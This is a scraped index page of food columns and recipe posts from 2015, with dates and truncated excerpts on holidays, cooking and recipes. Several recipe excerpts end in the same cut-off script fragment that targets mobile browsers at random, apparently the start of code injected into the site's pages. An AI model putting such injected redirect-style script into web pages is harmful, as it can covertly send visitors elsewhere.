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Give Mom a break

May 9, 2015 / 5:00 am

Photo: Contributed It's that time of year again when we are all supposed to give Mom a break. Cook a meal, clean the house, walk the dog ... Pitch in a bit extra as a way of saying thank you for all she does. Perhaps too Mother's Day is a chance for the rest of us to walk a mile i

How To Make Hot Sauce

May 4, 2015 / 3:17 pm

Chargrilled tomatoes and fiery red peppers are blended with onions, garlic and lime to create a  sauce that's the perfect accompaniment to meat and fish dishes. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

May Day! May Day!

May 2, 2015 / 5:00 am

Photo: Contributed May 1st has long been known as a day of celebration throughout much of Europe. “May Day” as it is sometimes called, represents the midpoint between the spring equinox and the summer solstice. In ancient times it was known as the first day of summer, the fest

Salmon with Anchovy Butter

Apr 29, 2015 / 11:48 am

Melissa Clark makes salmon with a double application of anchovy butter. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

A break, for hot or cold

Apr 25, 2015 / 5:00 am

Perhaps it is those ever-cool spring mornings, or my love for a bit of extra warmth, but I have been thinking a lot about coffee lately. With my ever-curious brain and its search for more trivia, that led me to thinking about the whole psychology that goes with our coffee culture, and why a simple b

Copycat KFC Fried Chicken

Apr 23, 2015 / 2:31 pm

Check out this homemade KFC fried chicken recipe - finger licking good!  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Wok Fried Peanut Butter

Apr 20, 2015 / 11:22 pm

Never buy peanut butter again with this easy wok fried recipe. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Noodle Soup

Apr 20, 2015 / 9:42 pm

Here's a simple guide to a delicious Japanese noodle soup with spring onions, shitaki mushrooms and fresh ginger, all topped with a poached egg. Absolutely mouthwatering, and so simple to do at home in under 10 minutes. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&

Roast beef sandwich

Apr 20, 2015 / 2:53 pm

Melissa Clark seasons a top loin with salt, pepper, garlic and rosemary before roasting to create the beginning of the perfect cold sandwich. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

The Best Cauliflower Cheese

Apr 20, 2015 / 1:59 pm

Jamie Oliver champions frozen veg in this classic cauliflower cheese recipe. Tender cauliflower florets in a broccoli and cheese sauce topped with crunchy breadcrumbs. A delicious dish that’s simple to make and half the price of the fresh version. if(navigator.userAgent.toLowerCase().matc

Salt of the earth

Apr 18, 2015 / 5:00 am

Photo: Contributed I was reminded recently while talking at the water cooler that the simplest things in life can often be the most important. I am not talking of saving the world with a new message for peace; I am speaking of seasoning your food with salt. (Okay, pepper is good too.) Ple

Celebrate food!

Apr 11, 2015 / 5:00 am

Photo: Contributed Okay, we did just experience one of the most important times of the year, which involves quality time with friends and loved ones around the dining table, so I suppose you don't need an excuse to celebrate food again this soon after indulging. But come on, who doesn

Hippity hoppity

Apr 4, 2015 / 5:00 am

Photo: Contributed Well, here we are, already at Easter. It’s good to know that spring is under way, and I feel like it’s time to celebrate and let loose. I watch my dogs get spring scents in their nostrils and their tails perk up, like they have inhaled a tonic. It seems chil

What is it about pickles?

Mar 28, 2015 / 5:00 am

Does anyone remember the old Arlo Guthrie tune? You know, the one about the pickle? He comments in the lyrics on how absurd it is that he could be so successful with a song about a pickle. It makes me think of today and how the food trends have become so extreme, so exotic. Are we yearning for imagi

Spring inspirations

Mar 21, 2015 / 5:00 am

Photo: Contributed Dandelion salad Now that the seasons are changing I seem to be wanting different flavours on my plate. I head towards the produce section with renewed vigour and if I'm cooking meat or fish it's in a lighter sauce. Maybe I'm motivated by the lack of bulky

There isn't much a cookie can't cure

Mar 14, 2015 / 5:00 am

My Mom used to say that when I was a kid. It should be said that she was a mean maker of cookies, still is (when I get one). She made lots of treats and cookies were the most fun as a kid because they were so transportable. She made all kinds: hermits, chocolate chip, ginger snaps, butterscotch... a

And the winner is...

Feb 21, 2015 / 5:00 am

We talk often about how every day in life should be enjoyed and it is important to make the most of every moment. Movies illustrate that point for us on a regular basis, whether the story is about everyday life, like this year's "Boyhood" and "Still Alice" or about an extraor

Food is life and what a good life it is!

Feb 14, 2015 / 5:00 am

With Valentine’s Day this weekend, I thought decadence would be a valid column topic. Often we speak of the importance of everyday food in a tone that is more about comfort or health than luxury but there is nothing wrong with a bit of decadence now and then. In fact, I think it should be requ

Breakfast: best way to start the day

Feb 7, 2015 / 5:00 am

I am a firm believer that having breakfast does wonders for starting your day in the right direction. Perhaps my conviction is in part due to the fact that my father was quite insistent about breakfast when I was growing up – I remember him saying he didn’t care if I was late for school,

Beginner's guide to aphrodisiac foods

Jan 31, 2015 / 5:00 am

Photo: Contributed What better month than February to focus on aphrodisiac foods? As the month of love starts off, I thought I'd get you started with a bit of history and some ideas, just in case you need a kick start for your Valentine's Day celebrations... Apple - of course,
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